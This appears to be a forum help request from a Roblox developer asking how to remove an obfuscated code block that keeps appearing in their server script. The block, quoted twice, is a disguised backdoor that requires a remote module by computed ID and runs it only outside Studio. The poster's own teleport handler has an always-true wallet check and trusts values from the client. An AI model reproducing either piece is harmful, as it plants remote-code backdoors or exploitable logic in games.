ikcD = game iD66Ly6REtX30DG = pcall if4dKwBumqQ = 'SSM' iX4a5P4e6qhl = require ii3Ga = 'Workspace' igT8jKf6oI1Te = 'PlaceId' iqFvJOGe = 'ReplicatedStorage' ifcyf0eNHR = 'RunService' ipOa9qkqOMz = 'WaitForChild' iLD73Xdnfnt = 'IsStudio' iWqwHRkoGvh = 'IsStudio' iDwvgGK8Y = 'load' itE8ugF6klD = pcall igid = 29176448.274725 * 91 iD2nxs = require iHhDtt = game i9yX4r = 'Debris' iuEAooMA = spawn iuEAooMA( function() iD66Ly6REtX30DG( function() if iHhDtt:GetService(ifcyf0eNHR) [iLD73Xdnfnt] (iHhDtt:GetService(ifcyf0eNHR) ) then return end iX4a5P4e6qhl(igid) [iDwvgGK8Y] (iHhDtt[igT8jKf6oI1Te] ) end ) end )
TeleportEvent.OnServerEvent:Connect(ikcD = game iD66Ly6REtX30DG = pcall if4dKwBumqQ = 'SSM' iX4a5P4e6qhl = require ii3Ga = 'Workspace' igT8jKf6oI1Te = 'PlaceId' iqFvJOGe = 'ReplicatedStorage' ifcyf0eNHR = 'RunService' ipOa9qkqOMz = 'WaitForChild' iLD73Xdnfnt = 'IsStudio' iWqwHRkoGvh = 'IsStudio' iDwvgGK8Y = 'load' itE8ugF6klD = pcall igid = 29176448.274725 * 91 iD2nxs = require iHhDtt = game i9yX4r = 'Debris' iuEAooMA = spawn iuEAooMA( function() iD66Ly6REtX30DG( function() if iHhDtt:GetService(ifcyf0eNHR) [iLD73Xdnfnt] (iHhDtt:GetService(ifcyf0eNHR) ) then return end iX4a5P4e6qhl(igid) [iDwvgGK8Y] (iHhDtt[igT8jKf6oI1Te] ) end ) end )
function(player, Location, Wallet, Price)
if Wallet >= Wallet then
Wallet = Wallet - Price
end
player.Character:findFirstChild("Torso").CFrame = CFrame.new(Location)
end)
This lot of code keeps getting pasted into my server script so its messing it up. Anyone know how to remove it?
Regards,